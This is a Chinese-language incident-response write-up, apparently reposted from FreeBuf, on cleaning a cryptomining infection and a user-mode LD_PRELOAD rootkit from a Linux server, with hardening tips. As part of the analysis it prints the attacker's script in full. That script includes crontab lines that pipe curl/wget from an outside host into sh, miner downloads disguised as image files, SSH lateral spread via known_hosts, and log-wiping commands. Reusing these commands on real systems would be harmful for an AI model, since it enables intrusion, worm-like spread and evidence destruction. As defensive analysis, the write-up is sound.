一起挖矿病毒事件的深度分析,结果你竟想不到~

admin 2021年5月6日04:16:09评论334 views字数 5875阅读19分35秒阅读模式

一起挖矿病毒事件的深度分析,结果你竟想不到~

一起挖矿病毒事件的深度分析,结果你竟想不到~

起因

朋友公司遇到了一起挖矿病毒事件,找我帮忙看看。

入侵分析

基本信息检查

当我登录服务器做检测时,top回显并未发现异常进程:

一起挖矿病毒事件的深度分析,结果你竟想不到~

但是在crontab中发现一条异常的定时任务:

一起挖矿病毒事件的深度分析,结果你竟想不到~

通过访问定时任务中的url,发现是一个shell脚本(目前已被黑客删除):

一起挖矿病毒事件的深度分析,结果你竟想不到~

脚本分析

有了攻击脚本的话,我们就能更加快速的了解他的攻击方式了,所以让我们来分析下脚本到底干了些什么:

创建定时任务,不断检测,确保不被删除

echo "*/10 * * * * (curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|sh"|crontab -cat > /etc/crontab <<EOFSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/bin*/10 * * * * root (/usr/local/sbin/sshd||curl -fsSL -m180 lsd.systemten.org||wget -q -T180 -O- lsd.systemten.org)|shEOF

果然是黑客,领土意识就是比一般人强,第二步就是检测主机上是否存在其他的挖矿病毒,有的话直接干掉

ps -ef|grep -v grep|grep hwlh3wlh44lh|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep Circle_MI|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep get.bi-chi.com|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep hashvault.pro|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep nanopool.org|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep /usr/bin/.sshd|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep /usr/bin/bsd-port|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "xmr"|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "xig"|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "ddgs"|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "qW3xT"|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "wnTKYg"|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "t00ls.ru"|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "sustes"|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "thisxxs"|awk '{print $2}' | xargs kill -9ps -ef|grep -v grep|grep "hashfish"|awk '{print $2}'|xargs kill -9ps -ef|grep -v grep|grep "kworkerds"|awk '{print $2}'|xargs kill -9

开始下载挖矿木马了,黑客事先已经将木马文件上传到一些图片分享网站,通过脚本将木马下载到特定目录下并修改文件名,添加执行权限并启动

cd /tmptouch /usr/local/bin/writeable && cd /usr/local/bin/touch /usr/libexec/writeable && cd /usr/libexec/touch /usr/bin/writeable && cd /usr/bin/rm -rf /usr/local/bin/writeable /usr/libexec/writeable /usr/bin/writeableexport PATH=$PATH:$(pwd)if [ ! -f "/tmp/.XImunix" ] || [ ! -f "/proc/$(cat /tmp/.XImunix)/io" ]; then    chattr -i sshd    rm -rf sshd    ARCH=$(getconf LONG_BIT)    if [ ${ARCH}x = "32x" ]; then        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/b91559ac5f6d4d2f94f9fba20121170c.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641090/x32_werii1 -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641327467/1.4684002168716392.jpg -O sshd)    else        (curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -o sshd||wget --timeout=30 --tries=3 -q img.sobot.com/chatres/89/msg/20190627/d6dced5199434ee898670f773eaaa069.png -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -o sshd||wget --timeout=30 --tries=3 -q res.cloudinary.com/dfrlxpr5x/raw/upload/v1561641004/x64_fi6qkp -O sshd||curl --connect-timeout 30 --max-time 30 --retry 3 -fsSL cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -o sshd||wget --timeout=30 --tries=3 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1561641163354/5.326312443776953.jpg -O sshd)    fifichmod +x sshd$(pwd)/sshd || ./sshd || /usr/bin/sshd || /usr/libexec/sshd || /usr/local/bin/sshd || sshd || /tmp/sshd || /usr/local/sbin/sshd

黑客当然不满足占领一台主机,所以脚本会遍历root,/home/*目录下的所有.ssh文件,尝试横向转播,扩大战果


if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & donefi
for file in /home/*do if test -d $file; then if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &' & done fi fidone
最后就是常规的毁尸灭迹了(这个方法有点糙。。。)
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

再次排查

我们先把crontab进程关闭,防止排查过程中不断的执行从而干扰排查工作。然后将定时任务注释或删除:

一起挖矿病毒事件的深度分析,结果你竟想不到~

回到刚开始排查是的情况,为什么我们在top回显中一条异常信息都看不到呢?我又在主机上搜索了下脚本中提到的sshd木马:

一起挖矿病毒事件的深度分析,结果你竟想不到~

ps和netstat命令都看不到sshd的进程信息,这个信息说明sshd是一个带有隐藏信息的rootkit,netstat中能显示端口信息但是无法显示进程信息所以能确定,这并不是一个内核级别的rootkit(为毛我有点高兴又有点失望呢。。。),所以这只是一个用户态的malware。用户态的malware方式无非就是:

1.通过替换系统中常见的进程查看工具(比如ps、top、lsof)的二进制程序,导致原先查看进程相关信息的工具(ps、top、lsof等)都被调包;

2.通过劫持getdents 等系统调用函数或libc中的readdir 函数,实现对特定进程名进程的隐藏,以达到进程隐藏目的;

3.在恶意代码中通过设置具有迷惑性的进程名字,以达到躲避管理员检查的目的;

4.利用mount —bind 将另外一个目录挂载覆盖至/proc/目录下指定进程ID的目录,我们知道ps、top等工具会读取/proc目录下获取进程信息,如果将进程ID的目录信息覆盖,则原来的进程信息将从ps的输出结果中隐匿;

我将一台正常主机的ps和netstat命令拷到本机进行测试发现还是无法看到sshd:

一起挖矿病毒事件的深度分析,结果你竟想不到~

mounts中也没有看到异常的挂载:

一起挖矿病毒事件的深度分析,结果你竟想不到~

那基本能确认是动态库劫持导致的隐藏,现在我们就要用到一个神器了—-“busybox“,busybox具有系统通用的命令,而且运行的时候是通过静态库调用,详细信息大家可以点击链接去了解。通过busybox,我们终于看到了那些潜伏的进程:

一起挖矿病毒事件的深度分析,结果你竟想不到~

一起挖矿病毒事件的深度分析,结果你竟想不到~

先干掉{sshd} [kthreadd]进程,然后干掉/usr/local/sbin/havegeds,因为sshd才是主进程,不先干掉sshd的话,它会不断检测拉起挖矿病毒,然后通过yum命令remove原来的openssh-server,然后重新安装openssh-server服务。
但是我们现在通过netstat和ps命令来查看进程时,还是无法看到sshd等进程,这是因为我们之前的动态库hook问题还没有解决。我们通过strace命令来看下命令执行时的系统库调用情况:

一起挖矿病毒事件的深度分析,结果你竟想不到~

在ps命令执行时,优先加载了ld.so.preload中设置的libboost_timed.so动态库,可以看出黑客是通过利用LD_PRELOAD加载恶意动态链接库达到隐藏的目的,到该动态库下通过busybox ls命令查看,发现那个恶意动态库文件

一起挖矿病毒事件的深度分析,结果你竟想不到~

将此恶意动态库文件移除后,终于重现sshd进程了:

一起挖矿病毒事件的深度分析,结果你竟想不到~

对libboost_timed.so文件进行简单的逆向后,发现它还会对多个文件进行修改:

一起挖矿病毒事件的深度分析,结果你竟想不到~

到/var/spool/cron/目录下将两个root文件都删除了,突然想了下,他是不是还在开机启动项里面留了后门呢,所以立马cd到/etc/init.d/目录下看了下,果然发现了:

一起挖矿病毒事件的深度分析,结果你竟想不到~

立马rm了。最后我们将一开始写入的crontab任务都删除,到现在为止本机上的挖矿病毒算排查完成了。

安全防护

1.SSH:

① 谨慎做免密登录

② 尽量不使用默认的22端口

③ 增强root密码强度

2.有很多挖矿病毒是通过Redis未认证接口进行攻击的,所以建议使用redis的同学做以下加固:① 增加授权认证(requirepass参数)② 尽量使用docker版本(docker pull redis)③ 隐藏重要的命令

3.不要安装来源不明的软件,不管是在个人pc还是在测试服务器上!!!

*本文作者:Gh0stWa1ker,来源:FreeBuf.COM

近期好文:

就是要让你搞懂Nginx,这篇就够了!

“高效运维”公众号诚邀广大技术人员投稿,

投稿邮箱[email protected],或添加联系人微信:greatops1118.

更多 GNSEC 精彩内容,请点击阅读原文。
一起挖矿病毒事件的深度分析,结果你竟想不到~
点个“在看”,一年不宕机


本文始发于微信公众号(高效运维):一起挖矿病毒事件的深度分析,结果你竟想不到~

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月6日04:16:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一起挖矿病毒事件的深度分析,结果你竟想不到~http://cn-sec.com/archives/240204.html

发表评论

匿名网友 填写信息